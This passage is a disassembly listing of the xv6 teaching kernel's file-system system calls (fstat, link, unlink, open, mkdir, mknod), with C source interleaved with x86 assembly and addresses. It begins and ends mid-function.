8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi { int fd; struct file *f; if(argfd(0, &fd, &f) < 0) return -1; 80104aa8: b8 ff ff ff ff mov $0xffffffff,%eax myproc()->ofile[fd] = 0; fileclose(f); return 0; } 80104aad: c9 leave 80104aae: c3 ret 80104aaf: 90 nop 80104ab0 <sys_fstat>: int sys_fstat(void) { 80104ab0: 55 push %ebp struct file *f; struct stat *st; if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104ab1: 31 c0 xor %eax,%eax return 0; } int sys_fstat(void) { 80104ab3: 89 e5 mov %esp,%ebp 80104ab5: 83 ec 28 sub $0x28,%esp struct file *f; struct stat *st; if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104ab8: 8d 55 f0 lea -0x10(%ebp),%edx 80104abb: e8 20 fe ff ff call 801048e0 <argfd.constprop.0> 80104ac0: 85 c0 test %eax,%eax 80104ac2: 78 34 js 80104af8 <sys_fstat+0x48> 80104ac4: 8d 45 f4 lea -0xc(%ebp),%eax 80104ac7: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp) 80104ace: 00 80104acf: 89 44 24 04 mov %eax,0x4(%esp) 80104ad3: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104ada: e8 31 fb ff ff call 80104610 <argptr> 80104adf: 85 c0 test %eax,%eax 80104ae1: 78 15 js 80104af8 <sys_fstat+0x48> return -1; return filestat(f, st); 80104ae3: 8b 45 f4 mov -0xc(%ebp),%eax 80104ae6: 89 44 24 04 mov %eax,0x4(%esp) 80104aea: 8b 45 f0 mov -0x10(%ebp),%eax 80104aed: 89 04 24 mov %eax,(%esp) 80104af0: e8 fb c3 ff ff call 80100ef0 <filestat> } 80104af5: c9 leave 80104af6: c3 ret 80104af7: 90 nop { struct file *f; struct stat *st; if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) return -1; 80104af8: b8 ff ff ff ff mov $0xffffffff,%eax return filestat(f, st); } 80104afd: c9 leave 80104afe: c3 ret 80104aff: 90 nop 80104b00 <sys_link>: // Create the path new as a link to the same inode as old. int sys_link(void) { 80104b00: 55 push %ebp 80104b01: 89 e5 mov %esp,%ebp 80104b03: 57 push %edi 80104b04: 56 push %esi 80104b05: 53 push %ebx 80104b06: 83 ec 3c sub $0x3c,%esp char name[DIRSIZ], *new, *old; struct inode *dp, *ip; if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104b09: 8d 45 d4 lea -0x2c(%ebp),%eax 80104b0c: 89 44 24 04 mov %eax,0x4(%esp) 80104b10: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104b17: e8 54 fb ff ff call 80104670 <argstr> 80104b1c: 85 c0 test %eax,%eax 80104b1e: 0f 88 e6 00 00 00 js 80104c0a <sys_link+0x10a> 80104b24: 8d 45 d0 lea -0x30(%ebp),%eax 80104b27: 89 44 24 04 mov %eax,0x4(%esp) 80104b2b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104b32: e8 39 fb ff ff call 80104670 <argstr> 80104b37: 85 c0 test %eax,%eax 80104b39: 0f 88 cb 00 00 00 js 80104c0a <sys_link+0x10a> return -1; begin_op(); 80104b3f: e8 dc df ff ff call 80102b20 <begin_op> if((ip = namei(old)) == 0){ 80104b44: 8b 45 d4 mov -0x2c(%ebp),%eax 80104b47: 89 04 24 mov %eax,(%esp) 80104b4a: e8 c1 d3 ff ff call 80101f10 <namei> 80104b4f: 85 c0 test %eax,%eax 80104b51: 89 c3 mov %eax,%ebx 80104b53: 0f 84 ac 00 00 00 je 80104c05 <sys_link+0x105> end_op(); return -1; } ilock(ip); 80104b59: 89 04 24 mov %eax,(%esp) 80104b5c: e8 5f cb ff ff call 801016c0 <ilock> if(ip->type == T_DIR){ 80104b61: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104b66: 0f 84 91 00 00 00 je 80104bfd <sys_link+0xfd> iunlockput(ip); end_op(); return -1; } ip->nlink++; 80104b6c: 66 83 43 56 01 addw $0x1,0x56(%ebx) iupdate(ip); iunlock(ip); if((dp = nameiparent(new, name)) == 0) 80104b71: 8d 7d da lea -0x26(%ebp),%edi end_op(); return -1; } ip->nlink++; iupdate(ip); 80104b74: 89 1c 24 mov %ebx,(%esp) 80104b77: e8 84 ca ff ff call 80101600 <iupdate> iunlock(ip); 80104b7c: 89 1c 24 mov %ebx,(%esp) 80104b7f: e8 1c cc ff ff call 801017a0 <iunlock> if((dp = nameiparent(new, name)) == 0) 80104b84: 8b 45 d0 mov -0x30(%ebp),%eax 80104b87: 89 7c 24 04 mov %edi,0x4(%esp) 80104b8b: 89 04 24 mov %eax,(%esp) 80104b8e: e8 9d d3 ff ff call 80101f30 <nameiparent> 80104b93: 85 c0 test %eax,%eax 80104b95: 89 c6 mov %eax,%esi 80104b97: 74 4f je 80104be8 <sys_link+0xe8> goto bad; ilock(dp); 80104b99: 89 04 24 mov %eax,(%esp) 80104b9c: e8 1f cb ff ff call 801016c0 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80104ba1: 8b 03 mov (%ebx),%eax 80104ba3: 39 06 cmp %eax,(%esi) 80104ba5: 75 39 jne 80104be0 <sys_link+0xe0> 80104ba7: 8b 43 04 mov 0x4(%ebx),%eax 80104baa: 89 7c 24 04 mov %edi,0x4(%esp) 80104bae: 89 34 24 mov %esi,(%esp) 80104bb1: 89 44 24 08 mov %eax,0x8(%esp) 80104bb5: e8 76 d2 ff ff call 80101e30 <dirlink> 80104bba: 85 c0 test %eax,%eax 80104bbc: 78 22 js 80104be0 <sys_link+0xe0> iunlockput(dp); goto bad; } iunlockput(dp); 80104bbe: 89 34 24 mov %esi,(%esp) 80104bc1: e8 5a cd ff ff call 80101920 <iunlockput> iput(ip); 80104bc6: 89 1c 24 mov %ebx,(%esp) 80104bc9: e8 12 cc ff ff call 801017e0 <iput> end_op(); 80104bce: e8 bd df ff ff call 80102b90 <end_op> ip->nlink--; iupdate(ip); iunlockput(ip); end_op(); return -1; } 80104bd3: 83 c4 3c add $0x3c,%esp iunlockput(dp); iput(ip); end_op(); return 0; 80104bd6: 31 c0 xor %eax,%eax ip->nlink--; iupdate(ip); iunlockput(ip); end_op(); return -1; } 80104bd8: 5b pop %ebx 80104bd9: 5e pop %esi 80104bda: 5f pop %edi 80104bdb: 5d pop %ebp 80104bdc: c3 ret 80104bdd: 8d 76 00 lea 0x0(%esi),%esi if((dp = nameiparent(new, name)) == 0) goto bad; ilock(dp); if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ iunlockput(dp); 80104be0: 89 34 24 mov %esi,(%esp) 80104be3: e8 38 cd ff ff call 80101920 <iunlockput> end_op(); return 0; bad: ilock(ip); 80104be8: 89 1c 24 mov %ebx,(%esp) 80104beb: e8 d0 ca ff ff call 801016c0 <ilock> ip->nlink--; 80104bf0: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104bf5: 89 1c 24 mov %ebx,(%esp) 80104bf8: e8 03 ca ff ff call 80101600 <iupdate> iunlockput(ip); 80104bfd: 89 1c 24 mov %ebx,(%esp) 80104c00: e8 1b cd ff ff call 80101920 <iunlockput> end_op(); 80104c05: e8 86 df ff ff call 80102b90 <end_op> return -1; } 80104c0a: 83 c4 3c add $0x3c,%esp ilock(ip); ip->nlink--; iupdate(ip); iunlockput(ip); end_op(); return -1; 80104c0d: b8 ff ff ff ff mov $0xffffffff,%eax } 80104c12: 5b pop %ebx 80104c13: 5e pop %esi 80104c14: 5f pop %edi 80104c15: 5d pop %ebp 80104c16: c3 ret 80104c17: 89 f6 mov %esi,%esi 80104c19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104c20 <sys_unlink>: } //PAGEBREAK! int sys_unlink(void) { 80104c20: 55 push %ebp 80104c21: 89 e5 mov %esp,%ebp 80104c23: 57 push %edi 80104c24: 56 push %esi 80104c25: 53 push %ebx 80104c26: 83 ec 5c sub $0x5c,%esp struct inode *ip, *dp; struct dirent de; char name[DIRSIZ], *path; uint off; if(argstr(0, &path) < 0) 80104c29: 8d 45 c0 lea -0x40(%ebp),%eax 80104c2c: 89 44 24 04 mov %eax,0x4(%esp) 80104c30: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104c37: e8 34 fa ff ff call 80104670 <argstr> 80104c3c: 85 c0 test %eax,%eax 80104c3e: 0f 88 76 01 00 00 js 80104dba <sys_unlink+0x19a> return -1; begin_op(); 80104c44: e8 d7 de ff ff call 80102b20 <begin_op> if((dp = nameiparent(path, name)) == 0){ 80104c49: 8b 45 c0 mov -0x40(%ebp),%eax 80104c4c: 8d 5d ca lea -0x36(%ebp),%ebx 80104c4f: 89 5c 24 04 mov %ebx,0x4(%esp) 80104c53: 89 04 24 mov %eax,(%esp) 80104c56: e8 d5 d2 ff ff call 80101f30 <nameiparent> 80104c5b: 85 c0 test %eax,%eax 80104c5d: 89 45 b4 mov %eax,-0x4c(%ebp) 80104c60: 0f 84 4f 01 00 00 je 80104db5 <sys_unlink+0x195> end_op(); return -1; } ilock(dp); 80104c66: 8b 75 b4 mov -0x4c(%ebp),%esi 80104c69: 89 34 24 mov %esi,(%esp) 80104c6c: e8 4f ca ff ff call 801016c0 <ilock> // Cannot unlink "." or "..". if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 80104c71: c7 44 24 04 c0 77 10 movl $0x801077c0,0x4(%esp) 80104c78: 80 80104c79: 89 1c 24 mov %ebx,(%esp) 80104c7c: e8 1f cf ff ff call 80101ba0 <namecmp> 80104c81: 85 c0 test %eax,%eax 80104c83: 0f 84 21 01 00 00 je 80104daa <sys_unlink+0x18a> 80104c89: c7 44 24 04 bf 77 10 movl $0x801077bf,0x4(%esp) 80104c90: 80 80104c91: 89 1c 24 mov %ebx,(%esp) 80104c94: e8 07 cf ff ff call 80101ba0 <namecmp> 80104c99: 85 c0 test %eax,%eax 80104c9b: 0f 84 09 01 00 00 je 80104daa <sys_unlink+0x18a> goto bad; if((ip = dirlookup(dp, name, &off)) == 0) 80104ca1: 8d 45 c4 lea -0x3c(%ebp),%eax 80104ca4: 89 5c 24 04 mov %ebx,0x4(%esp) 80104ca8: 89 44 24 08 mov %eax,0x8(%esp) 80104cac: 89 34 24 mov %esi,(%esp) 80104caf: e8 1c cf ff ff call 80101bd0 <dirlookup> 80104cb4: 85 c0 test %eax,%eax 80104cb6: 89 c3 mov %eax,%ebx 80104cb8: 0f 84 ec 00 00 00 je 80104daa <sys_unlink+0x18a> goto bad; ilock(ip); 80104cbe: 89 04 24 mov %eax,(%esp) 80104cc1: e8 fa c9 ff ff call 801016c0 <ilock> if(ip->nlink < 1) 80104cc6: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 80104ccb: 0f 8e 24 01 00 00 jle 80104df5 <sys_unlink+0x1d5> panic("unlink: nlink < 1"); if(ip->type == T_DIR && !isdirempty(ip)){ 80104cd1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104cd6: 8d 75 d8 lea -0x28(%ebp),%esi 80104cd9: 74 7d je 80104d58 <sys_unlink+0x138> iunlockput(ip); goto bad; } memset(&de, 0, sizeof(de)); 80104cdb: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80104ce2: 00 80104ce3: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80104cea: 00 80104ceb: 89 34 24 mov %esi,(%esp) 80104cee: e8 fd f5 ff ff call 801042f0 <memset> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104cf3: 8b 45 c4 mov -0x3c(%ebp),%eax 80104cf6: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80104cfd: 00 80104cfe: 89 74 24 04 mov %esi,0x4(%esp) 80104d02: 89 44 24 08 mov %eax,0x8(%esp) 80104d06: 8b 45 b4 mov -0x4c(%ebp),%eax 80104d09: 89 04 24 mov %eax,(%esp) 80104d0c: e8 5f cd ff ff call 80101a70 <writei> 80104d11: 83 f8 10 cmp $0x10,%eax 80104d14: 0f 85 cf 00 00 00 jne 80104de9 <sys_unlink+0x1c9> panic("unlink: writei"); if(ip->type == T_DIR){ 80104d1a: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104d1f: 0f 84 a3 00 00 00 je 80104dc8 <sys_unlink+0x1a8> dp->nlink--; iupdate(dp); } iunlockput(dp); 80104d25: 8b 45 b4 mov -0x4c(%ebp),%eax 80104d28: 89 04 24 mov %eax,(%esp) 80104d2b: e8 f0 cb ff ff call 80101920 <iunlockput> ip->nlink--; 80104d30: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104d35: 89 1c 24 mov %ebx,(%esp) 80104d38: e8 c3 c8 ff ff call 80101600 <iupdate> iunlockput(ip); 80104d3d: 89 1c 24 mov %ebx,(%esp) 80104d40: e8 db cb ff ff call 80101920 <iunlockput> end_op(); 80104d45: e8 46 de ff ff call 80102b90 <end_op> bad: iunlockput(dp); end_op(); return -1; } 80104d4a: 83 c4 5c add $0x5c,%esp iupdate(ip); iunlockput(ip); end_op(); return 0; 80104d4d: 31 c0 xor %eax,%eax bad: iunlockput(dp); end_op(); return -1; } 80104d4f: 5b pop %ebx 80104d50: 5e pop %esi 80104d51: 5f pop %edi 80104d52: 5d pop %ebp 80104d53: c3 ret 80104d54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi isdirempty(struct inode *dp) { int off; struct dirent de; for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80104d58: 83 7b 58 20 cmpl $0x20,0x58(%ebx) 80104d5c: 0f 86 79 ff ff ff jbe 80104cdb <sys_unlink+0xbb> 80104d62: bf 20 00 00 00 mov $0x20,%edi 80104d67: eb 15 jmp 80104d7e <sys_unlink+0x15e> 80104d69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104d70: 8d 57 10 lea 0x10(%edi),%edx 80104d73: 3b 53 58 cmp 0x58(%ebx),%edx 80104d76: 0f 83 5f ff ff ff jae 80104cdb <sys_unlink+0xbb> 80104d7c: 89 d7 mov %edx,%edi if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104d7e: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80104d85: 00 80104d86: 89 7c 24 08 mov %edi,0x8(%esp) 80104d8a: 89 74 24 04 mov %esi,0x4(%esp) 80104d8e: 89 1c 24 mov %ebx,(%esp) 80104d91: e8 da cb ff ff call 80101970 <readi> 80104d96: 83 f8 10 cmp $0x10,%eax 80104d99: 75 42 jne 80104ddd <sys_unlink+0x1bd> panic("isdirempty: readi"); if(de.inum != 0) 80104d9b: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80104da0: 74 ce je 80104d70 <sys_unlink+0x150> ilock(ip); if(ip->nlink < 1) panic("unlink: nlink < 1"); if(ip->type == T_DIR && !isdirempty(ip)){ iunlockput(ip); 80104da2: 89 1c 24 mov %ebx,(%esp) 80104da5: e8 76 cb ff ff call 80101920 <iunlockput> end_op(); return 0; bad: iunlockput(dp); 80104daa: 8b 45 b4 mov -0x4c(%ebp),%eax 80104dad: 89 04 24 mov %eax,(%esp) 80104db0: e8 6b cb ff ff call 80101920 <iunlockput> end_op(); 80104db5: e8 d6 dd ff ff call 80102b90 <end_op> return -1; } 80104dba: 83 c4 5c add $0x5c,%esp return 0; bad: iunlockput(dp); end_op(); return -1; 80104dbd: b8 ff ff ff ff mov $0xffffffff,%eax } 80104dc2: 5b pop %ebx 80104dc3: 5e pop %esi 80104dc4: 5f pop %edi 80104dc5: 5d pop %ebp 80104dc6: c3 ret 80104dc7: 90 nop memset(&de, 0, sizeof(de)); if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("unlink: writei"); if(ip->type == T_DIR){ dp->nlink--; 80104dc8: 8b 45 b4 mov -0x4c(%ebp),%eax 80104dcb: 66 83 68 56 01 subw $0x1,0x56(%eax) iupdate(dp); 80104dd0: 89 04 24 mov %eax,(%esp) 80104dd3: e8 28 c8 ff ff call 80101600 <iupdate> 80104dd8: e9 48 ff ff ff jmp 80104d25 <sys_unlink+0x105> int off; struct dirent de; for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("isdirempty: readi"); 80104ddd: c7 04 24 e4 77 10 80 movl $0x801077e4,(%esp) 80104de4: e8 77 b5 ff ff call 80100360 <panic> goto bad; } memset(&de, 0, sizeof(de)); if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("unlink: writei"); 80104de9: c7 04 24 f6 77 10 80 movl $0x801077f6,(%esp) 80104df0: e8 6b b5 ff ff call 80100360 <panic> if((ip = dirlookup(dp, name, &off)) == 0) goto bad; ilock(ip); if(ip->nlink < 1) panic("unlink: nlink < 1"); 80104df5: c7 04 24 d2 77 10 80 movl $0x801077d2,(%esp) 80104dfc: e8 5f b5 ff ff call 80100360 <panic> 80104e01: eb 0d jmp 80104e10 <sys_open> 80104e03: 90 nop 80104e04: 90 nop 80104e05: 90 nop 80104e06: 90 nop 80104e07: 90 nop 80104e08: 90 nop 80104e09: 90 nop 80104e0a: 90 nop 80104e0b: 90 nop 80104e0c: 90 nop 80104e0d: 90 nop 80104e0e: 90 nop 80104e0f: 90 nop 80104e10 <sys_open>: return ip; } int sys_open(void) { 80104e10: 55 push %ebp 80104e11: 89 e5 mov %esp,%ebp 80104e13: 57 push %edi 80104e14: 56 push %esi 80104e15: 53 push %ebx 80104e16: 83 ec 2c sub $0x2c,%esp char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 80104e19: 8d 45 e0 lea -0x20(%ebp),%eax 80104e1c: 89 44 24 04 mov %eax,0x4(%esp) 80104e20: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104e27: e8 44 f8 ff ff call 80104670 <argstr> 80104e2c: 85 c0 test %eax,%eax 80104e2e: 0f 88 d1 00 00 00 js 80104f05 <sys_open+0xf5> 80104e34: 8d 45 e4 lea -0x1c(%ebp),%eax 80104e37: 89 44 24 04 mov %eax,0x4(%esp) 80104e3b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104e42: e8 99 f7 ff ff call 801045e0 <argint> 80104e47: 85 c0 test %eax,%eax 80104e49: 0f 88 b6 00 00 00 js 80104f05 <sys_open+0xf5> return -1; begin_op(); 80104e4f: e8 cc dc ff ff call 80102b20 <begin_op> if(omode & O_CREATE){ 80104e54: f6 45 e5 02 testb $0x2,-0x1b(%ebp) 80104e58: 0f 85 82 00 00 00 jne 80104ee0 <sys_open+0xd0> if(ip == 0){ end_op(); return -1; } } else { if((ip = namei(path)) == 0){ 80104e5e: 8b 45 e0 mov -0x20(%ebp),%eax 80104e61: 89 04 24 mov %eax,(%esp) 80104e64: e8 a7 d0 ff ff call 80101f10 <namei> 80104e69: 85 c0 test %eax,%eax 80104e6b: 89 c6 mov %eax,%esi 80104e6d: 0f 84 8d 00 00 00 je 80104f00 <sys_open+0xf0> end_op(); return -1; } ilock(ip); 80104e73: 89 04 24 mov %eax,(%esp) 80104e76: e8 45 c8 ff ff call 801016c0 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 80104e7b: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80104e80: 0f 84 92 00 00 00 je 80104f18 <sys_open+0x108> end_op(); return -1; } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 80104e86: e8 e5 be ff ff call 80100d70 <filealloc> 80104e8b: 85 c0 test %eax,%eax 80104e8d: 89 c3 mov %eax,%ebx 80104e8f: 0f 84 93 00 00 00 je 80104f28 <sys_open+0x118> 80104e95: e8 86 f8 ff ff call 80104720 <fdalloc> 80104e9a: 85 c0 test %eax,%eax 80104e9c: 89 c7 mov %eax,%edi 80104e9e: 0f 88 94 00 00 00 js 80104f38 <sys_open+0x128> fileclose(f); iunlockput(ip); end_op(); return -1; } iunlock(ip); 80104ea4: 89 34 24 mov %esi,(%esp) 80104ea7: e8 f4 c8 ff ff call 801017a0 <iunlock> end_op(); 80104eac: e8 df dc ff ff call 80102b90 <end_op> f->type = FD_INODE; 80104eb1: c7 03 02 00 00 00 movl $0x2,(%ebx) f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 80104eb7: 8b 45 e4 mov -0x1c(%ebp),%eax } iunlock(ip); end_op(); f->type = FD_INODE; f->ip = ip; 80104eba: 89 73 10 mov %esi,0x10(%ebx) f->off = 0; 80104ebd: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) f->readable = !(omode & O_WRONLY); 80104ec4: 89 c2 mov %eax,%edx 80104ec6: 83 e2 01 and $0x1,%edx 80104ec9: 83 f2 01 xor $0x1,%edx f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80104ecc: a8 03 test $0x3,%al end_op(); f->type = FD_INODE; f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 80104ece: 88 53 08 mov %dl,0x8(%ebx) f->writable = (omode & O_WRONLY) || (omode & O_RDWR); return fd; 80104ed1: 89 f8 mov %edi,%eax f->type = FD_INODE; f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80104ed3: 0f 95 43 09 setne 0x9(%ebx) return fd; } 80104ed7: 83 c4 2c add $0x2c,%esp 80104eda: 5b pop %ebx 80104edb: 5e pop %esi 80104edc: 5f pop %edi 80104edd: 5d pop %ebp 80104ede: c3 ret 80104edf: 90 nop return -1; begin_op(); if(omode & O_CREATE){ ip = create(path, T_FILE, 0, 0); 80104ee0: 8b 45 e0 mov -0x20(%ebp),%eax 80104ee3: 31 c9 xor %ecx,%ecx 80104ee5: ba 02 00 00 00 mov $0x2,%edx 80104eea: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104ef1: e8 6a f8 ff ff call 80104760 <create> if(ip == 0){ 80104ef6: 85 c0 test %eax,%eax return -1; begin_op(); if(omode & O_CREATE){ ip = create(path, T_FILE, 0, 0); 80104ef8: 89 c6 mov %eax,%esi if(ip == 0){ 80104efa: 75 8a jne 80104e86 <sys_open+0x76> 80104efc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ if(f) fileclose(f); iunlockput(ip); end_op(); 80104f00: e8 8b dc ff ff call 80102b90 <end_op> f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); f->writable = (omode & O_WRONLY) || (omode & O_RDWR); return fd; } 80104f05: 83 c4 2c add $0x2c,%esp if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ if(f) fileclose(f); iunlockput(ip); end_op(); return -1; 80104f08: b8 ff ff ff ff mov $0xffffffff,%eax f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); f->writable = (omode & O_WRONLY) || (omode & O_RDWR); return fd; } 80104f0d: 5b pop %ebx 80104f0e: 5e pop %esi 80104f0f: 5f pop %edi 80104f10: 5d pop %ebp 80104f11: c3 ret 80104f12: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if((ip = namei(path)) == 0){ end_op(); return -1; } ilock(ip); if(ip->type == T_DIR && omode != O_RDONLY){ 80104f18: 8b 45 e4 mov -0x1c(%ebp),%eax 80104f1b: 85 c0 test %eax,%eax 80104f1d: 0f 84 63 ff ff ff je 80104e86 <sys_open+0x76> 80104f23: 90 nop 80104f24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ if(f) fileclose(f); iunlockput(ip); 80104f28: 89 34 24 mov %esi,(%esp) 80104f2b: e8 f0 c9 ff ff call 80101920 <iunlockput> 80104f30: eb ce jmp 80104f00 <sys_open+0xf0> 80104f32: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ if(f) fileclose(f); 80104f38: 89 1c 24 mov %ebx,(%esp) 80104f3b: e8 f0 be ff ff call 80100e30 <fileclose> 80104f40: eb e6 jmp 80104f28 <sys_open+0x118> 80104f42: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104f49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104f50 <sys_mkdir>: return fd; } int sys_mkdir(void) { 80104f50: 55 push %ebp 80104f51: 89 e5 mov %esp,%ebp 80104f53: 83 ec 28 sub $0x28,%esp char *path; struct inode *ip; begin_op(); 80104f56: e8 c5 db ff ff call 80102b20 <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 80104f5b: 8d 45 f4 lea -0xc(%ebp),%eax 80104f5e: 89 44 24 04 mov %eax,0x4(%esp) 80104f62: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104f69: e8 02 f7 ff ff call 80104670 <argstr> 80104f6e: 85 c0 test %eax,%eax 80104f70: 78 2e js 80104fa0 <sys_mkdir+0x50> 80104f72: 8b 45 f4 mov -0xc(%ebp),%eax 80104f75: 31 c9 xor %ecx,%ecx 80104f77: ba 01 00 00 00 mov $0x1,%edx 80104f7c: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104f83: e8 d8 f7 ff ff call 80104760 <create> 80104f88: 85 c0 test %eax,%eax 80104f8a: 74 14 je 80104fa0 <sys_mkdir+0x50> end_op(); return -1; } iunlockput(ip); 80104f8c: 89 04 24 mov %eax,(%esp) 80104f8f: e8 8c c9 ff ff call 80101920 <iunlockput> end_op(); 80104f94: e8 f7 db ff ff call 80102b90 <end_op> return 0; 80104f99: 31 c0 xor %eax,%eax } 80104f9b: c9 leave 80104f9c: c3 ret 80104f9d: 8d 76 00 lea 0x0(%esi),%esi char *path; struct inode *ip; begin_op(); if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ end_op(); 80104fa0: e8 eb db ff ff call 80102b90 <end_op> return -1; 80104fa5: b8 ff ff ff ff mov $0xffffffff,%eax } iunlockput(ip); end_op(); return 0; } 80104faa: c9 leave 80104fab: c3 ret 80104fac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104fb0 <sys_mknod>: int sys_mknod(void) { 80104fb0: 55 push %ebp 80104fb1: 89 e5 mov %esp,%ebp 80104fb3: 83 ec 28 sub $0x28,%esp struct inode *ip; char *path; int major, minor; begin_op(); 80104fb6: e8 65 db ff ff call 80102b20 <begin_op> if((argstr(0, &path)) < 0 || 80104fbb: 8d 45 ec lea -0x14(%ebp),%eax 80104fbe: 89 44 24 04 mov %eax,0x4(%esp) 80104fc2: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104fc9: e8 a2 f6 ff ff call 80104670 <argstr> 80104fce: 85 c0 test %eax,%eax 80104fd0: 78 5e js 80105030 <sys_mknod+0x80> argint(1, &major) < 0 || 80104fd2: 8d 45 f0 lea -0x10(%ebp),%eax 80104fd5: 89 44 24 04 mov %eax,0x4(%esp) 80104fd9: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104fe0: e8 fb f5 ff ff call 801045e0 <argint> struct inode *ip; char *path; int major, minor; begin_op(); if((argstr(0, &path)) < 0 || 80104fe5: 85 c0 test %eax,%eax 80104fe7: 78 47 js 80105030 <sys_mknod+0x80> argint(1, &major) < 0 || argint(2, &minor) < 0 || 80104fe9: 8d 45 f4 lea -0xc(%ebp),%eax 80104fec: 89 44 24 04 mov %eax,0x4(%esp) 80104ff0: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80104ff7: e8 e4 f5 ff ff call 801045e0 <argint> char *path; int major, minor; begin_op(); if((argstr(0, &path)) < 0 || argint(1, &major) < 0 || 80104ffc: 85 c0 test %eax,%eax 80104ffe: 78 30 js 80105030 <sys_mknod+0x80> argint(2, &minor) < 0 || (ip = create(path, T_DEV, major, minor)) == 0){ 80105000: 0f bf 45 f4 movswl -0xc(%ebp),%eax int major, minor; begin_op(); if((argstr(0, &path)) < 0 || argint(1, &major) < 0 || argint(2, &minor) < 0 || 80105004: ba 03 00 00 00 mov $0x3,%edx (ip = create(path, T_DEV, major, minor)) == 0){ 80105009: 0f bf 4d f0 movswl -0x10(%ebp),%ecx 8010500d: 89 04 24 mov %eax,(%esp) int major, minor; begin_op(); if((argstr(0, &path)) < 0 || argint(1, &major) < 0 || argint(2, &minor) < 0 || 80105010: 8b 45 ec mov -0x14(%ebp),%eax 80105013: e8 48 f7 ff ff call 80104760 <create> 80105018: 85 c0 test %eax,%eax 8010501a: 74 14 je 80105030 <sys_mknod+0x80> (ip = create(path, T_DEV, major, minor)) == 0){ end_op(); return -1; } iunlockput(ip); 8010501c: 89 04 24 mov %eax,(%esp) 8010501f: e8 fc c8 ff ff call 80101920 <iunlockput> end_op(); 80105024: e8 67 db ff ff call 80102b90 <end_op> return 0; 80105029: 31 c0 xor %eax,%eax } 8010502b: c9 leave 8010502c: c3 ret 8010502d: 8d 76 00 lea 0x0(%esi),%esi begin_op(); if((argstr(0, &path)) < 0 || argint(1, &major) < 0 || argint(2, &minor) < 0 || (ip = create(path, T_DEV, major, minor)) == 0){ end_op(); 80105030: e8 5b db ff ff call 80102b90 <end_op> return -1; 80105035: b8 ff ff ff ff mov $0xffffffff,%eax } iunlockput(ip); end_op(); return 0; } 8010503a: c9 leave 8010503b: c3 ret 8010503c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105040 <sys_chdir>: int sys_chdir(void) { 80105040: 55 push %ebp 80105041: 89 e5 mov %esp,%ebp 80105043: 56 push %esi 80105044: 53 push %ebx 80105045: 83 ec 20 sub $0x20,%esp char 